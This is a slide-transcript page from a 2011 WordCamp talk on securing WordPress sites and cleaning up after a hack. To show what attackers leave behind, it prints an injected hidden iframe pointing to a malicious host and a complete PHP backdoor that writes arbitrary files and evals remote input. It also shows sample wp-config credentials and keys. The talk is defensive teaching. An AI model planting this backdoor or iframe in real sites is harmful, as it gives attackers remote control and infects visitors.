Security: The Great WordPress Lockdown - WordCamp Melbourne - February 2011
•
0 likes•8,687 views
The Great WordPress Lockdown presentation at WordCamp Melbourne February 2011.
Recommended
More Related Content
What's hot
What's hot (18)
Similar to Security: The Great WordPress Lockdown - WordCamp Melbourne - February 2011
Similar to Security: The Great WordPress Lockdown - WordCamp Melbourne - February 2011 (20)
Recently uploaded
Recently uploaded (20)
Security: The Great WordPress Lockdown - WordCamp Melbourne - February 2011
- 1. The Great WordPress Lockdown http://johnford.is/ @iamjohnford
- 2. OMG, my site’s been hacked.
- 3. “Help! Spams are eating my site!”
- 6. “Help! Spams are eating my site!”
- 7. “Did ninjas do it?”
- 10. S.A.C.s
- 12. What they do...
- 16. <iframe src='http://bl4ckst4r.cn/blog/go.php? sid=17' width='0' height='0'></iframe>
- 18. <?php $delim = " "; echo $delim; error_reporting(E_ALL); if(!empty($_POST['data'])) { $post['data'] = $_POST['data']; if(!empty($_POST['url'])) { $tmp = base64_decode ($_POST['url']); $urls_array = unserialize($tmp); $url = array_shift($urls_array); if(!empty($urls_array) AND count($urls_array)>0) { $tmp = serialize($urls_array); $post['url'] = base64_encode($tmp); } $tmp = parse_url($url); if($tmp['scheme'] =="ftp") { echo "trying to update file[ ".$tmp['path']." ] via FTPn"; $file = 'tmp.php'; $content = unserialize(base64_decode($post['data'])); $content = base64_decode($content['content']); $fp = fopen($file, 'w'); fwrite($fp, $content); fclose($fp); chmod($file, 0777); $fp = fopen($file,'r'); $post = false; } else { echo "Sending request to: $url n"; $fp = false; } $content = request($url, $post, $fp); if($tmp['scheme']=="ftp") { fclose($fp); unlink ($file); } if($tmp['scheme']=="ftp" AND $content!==false) echo "FTP: UPDATEDn"; else echo $delim.$content; } else { $tmp = base64_decode($post['data']); $data = unserialize($tmp); if(empty($data) OR !is_array($data)) { exit("Some error while saving;"); } foreach ($data AS $d) { if(dirname($d['n'])!='.' and !file_exists (dirname($d['n']))) { mkdir(dirname($d['n']), 0777); chmod(dirname($d['n']), 0777); } if($d['n']=='ev') { eval($d['c']); continue; } $f = fopen($d['n'], 'w'); $bytes_written = fwrite($f, $d['c']); fclose($f); if(filesize($d['n'])>10) { echo "file:".$d['n'].": savedn"; } else { echo "some error happens: ".$d['n']." size is: ".filesize($d['n'])." bytesn"; } if(!@chmod($d['n'], 0777)) { echo "some error with: ".$d['n']."n"; } } } } else { die("NO DATA"); } function request ($url, $post=false, $fp=false, $timeout=150){ $ch = curl_init(); if($post) { $post = is_array($post)?http_build_query($post):$post; curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); } if($fp) { curl_setopt($ch, CURLOPT_UPLOAD, 1); curl_setopt($ch, CURLOPT_INFILE, $fp); fclose($fp); } curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $content = curl_exec($ch); $error = curl_error($ch); if($error) { echo "CURL_ERROR: ".$error."n"; return false; }
- 22. I don’t really give a $#%*.
- 26. How did my site get S.A.C.ed?
- 29. I saw John Ford speak at WordCamp Melbourne 2011
- 30. I saw John Ford speak at WordCamp Melbourne 2011 IsJFs@WCM2k11
- 31. I saw the awesome, loving, generous, compassionate, handsome, courteous, thoughtful, modest John Ford speak at WordCamp Melbourne 2011 IstalgchctmJFs@WCM2k11
- 34. Exploit vulnerable themes and plugins
- 40. // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define('DB_NAME', 'wcnyc2010'); /** MySQL database username */ define('DB_USER', 'wcnyc2010'); /** MySQL database password */ define('DB_PASSWORD', '3^?wb6mhqsiyk^ABHR6y'); /** MySQL hostname */ define('DB_HOST', 'mysql.myserver.com'); /** Database Charset to use in creating database tables. */ define('DB_CHARSET', 'utf8'); /** The Database Collate type. Don't change this if in doubt. */ define('DB_COLLATE', '');
- 42. /**#@+ * Authentication Unique Keys and Salts. * * Change these to different unique phrases! * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service} * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again. * * @since 2.6.0 */ define('AUTH_KEY', '2FO}Z*-a#4E9Ft5$kBzZ_kk|Z3@zR+fRV`{$axu|r}(dE-Akbziu #-BLmd%qV-y'); define('SECURE_AUTH_KEY', '*E~-xU9xLhB[iv|8fUi7[{?=KS;E 0Cq#!NP, &]/oQwc1EkkR4A(c:x76f/w]Q)'); define('LOGGED_IN_KEY', '&psh-W)gE_~qK$kL{qT~2(XPyT<FAc}!=&{(SL!.?y9ObiYgNmdqohdH<t5/KO4='); define('NONCE_KEY', 'x&Im0c}brod3Cl%;jWJub<liaf:rFV#67F-E*o&$r90I/LSLP8Nz`Gb!R*H:J;4}'); define('AUTH_SALT', 'eO7i!tPIz[@dq.[mY`5zPu4x_b`K^6NTPK:%JwZdGCoo||)O}6aZ7>Y jb84mlxi'); define('SECURE_AUTH_SALT', '/a60,@Uf]/S$xHHQ]Dq/xB:zx^#%0<w#vPv|9go@y#c|*PW# bKE]|S&#-JJ}F65'); define('LOGGED_IN_SALT', 'IEP|]D`QVwDSg*t|[V>Jy]I^H~Q rfou+^wkV?FDbBO%fpg-(WH~v]7!_3M|&m(-'); define('NONCE_SALT', 'hnrbdh|-~=%>qC7Cbl33$=J~!F}SS*(*Fkl,uh8=7+u(b45|WtKe%S32r]3X~k/W');
- 49. Obscurity
- 54. Multiple sites on the same server
- 55. Use a different database user/pass for each site
- 57. “What do I do?”
- 59. Back up your exploited site
- 60. FAQ My site was hacked http://codex.wordpress.org/FAQ_My_site_was_hacked
- 61. Change all passwords and keys
- 62. // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define('DB_NAME', 'wordcamp'); /** MySQL database username */ define('DB_USER', 'wordcamp'); /** MySQL database password */ define('DB_PASSWORD', '3^?wb6mhqsiyk^ABHR6y'); /** MySQL hostname */ define('DB_HOST', 'mysql.myserver.com'); /** Database Charset to use in creating database tables. */ define('DB_CHARSET', 'utf8'); /** The Database Collate type. Don't change this if in doubt. */ define('DB_COLLATE', '');
- 63. /**#@+ * Authentication Unique Keys and Salts. * * Change these to different unique phrases! * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service} * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again. * * @since 2.6.0 */ define('AUTH_KEY', '2FO}Z*-a#4E9Ft5$kBzZ_kk|Z3@zR+fRV`{$axu|r}(dE-Akbziu #-BLmd%qV-y'); define('SECURE_AUTH_KEY', '*E~-xU9xLhB[iv|8fUi7[{?=KS;E 0Cq#!NP, &]/oQwc1EkkR4A(c:x76f/w]Q)'); define('LOGGED_IN_KEY', '&psh-W)gE_~qK$kL{qT~2(XPyT<FAc}!=&{(SL!.?y9ObiYgNmdqohdH<t5/KO4='); define('NONCE_KEY', 'x&Im0c}brod3Cl%;jWJub<liaf:rFV#67F-E*o&$r90I/LSLP8Nz`Gb!R*H:J;4}'); define('AUTH_SALT', 'eO7i!tPIz[@dq.[mY`5zPu4x_b`K^6NTPK:%JwZdGCoo||)O}6aZ7>Y jb84mlxi'); define('SECURE_AUTH_SALT', '/a60,@Uf]/S$xHHQ]Dq/xB:zx^#%0<w#vPv|9go@y#c|*PW# bKE]|S&#-JJ}F65'); define('LOGGED_IN_SALT', 'IEP|]D`QVwDSg*t|[V>Jy]I^H~Q rfou+^wkV?FDbBO%fpg-(WH~v]7!_3M|&m(-'); define('NONCE_SALT', 'hnrbdh|-~=%>qC7Cbl33$=J~!F}SS*(*Fkl,uh8=7+u(b45|WtKe%S32r]3X~k/W');
- 67. machine:www user$ svn status ? wp-config.php ? .htaccess M index.php ? wp-content/cache X wp-content/plugins/akismet M wp-content/themes/twentyten/404.php ? wp-admin/meta Performing status on external item at 'wp-content/plugins/akismet'
- 68. machine:www user$ svn diff wp-content/themes/twentyten/404.php Index: wp-content/themes/twentyten/404.php =================================================================== --- wp-content/themes/twentyten/404.php (revision 15819) +++ wp-content/themes/twentyten/404.php (working copy) @@ -1,3 +1,5 @@ +<?php echo "<h1>Here's some code that really shouldn't be here</h1>"; ?> + <?php /** * The template for displaying 404 pages (Not Found).
- 72. YOU HAZ BACKUP, RIGHT? http://flic.kr/p/DC3Q
- 75. Thank you! http://johnford.is/ @iamjohnford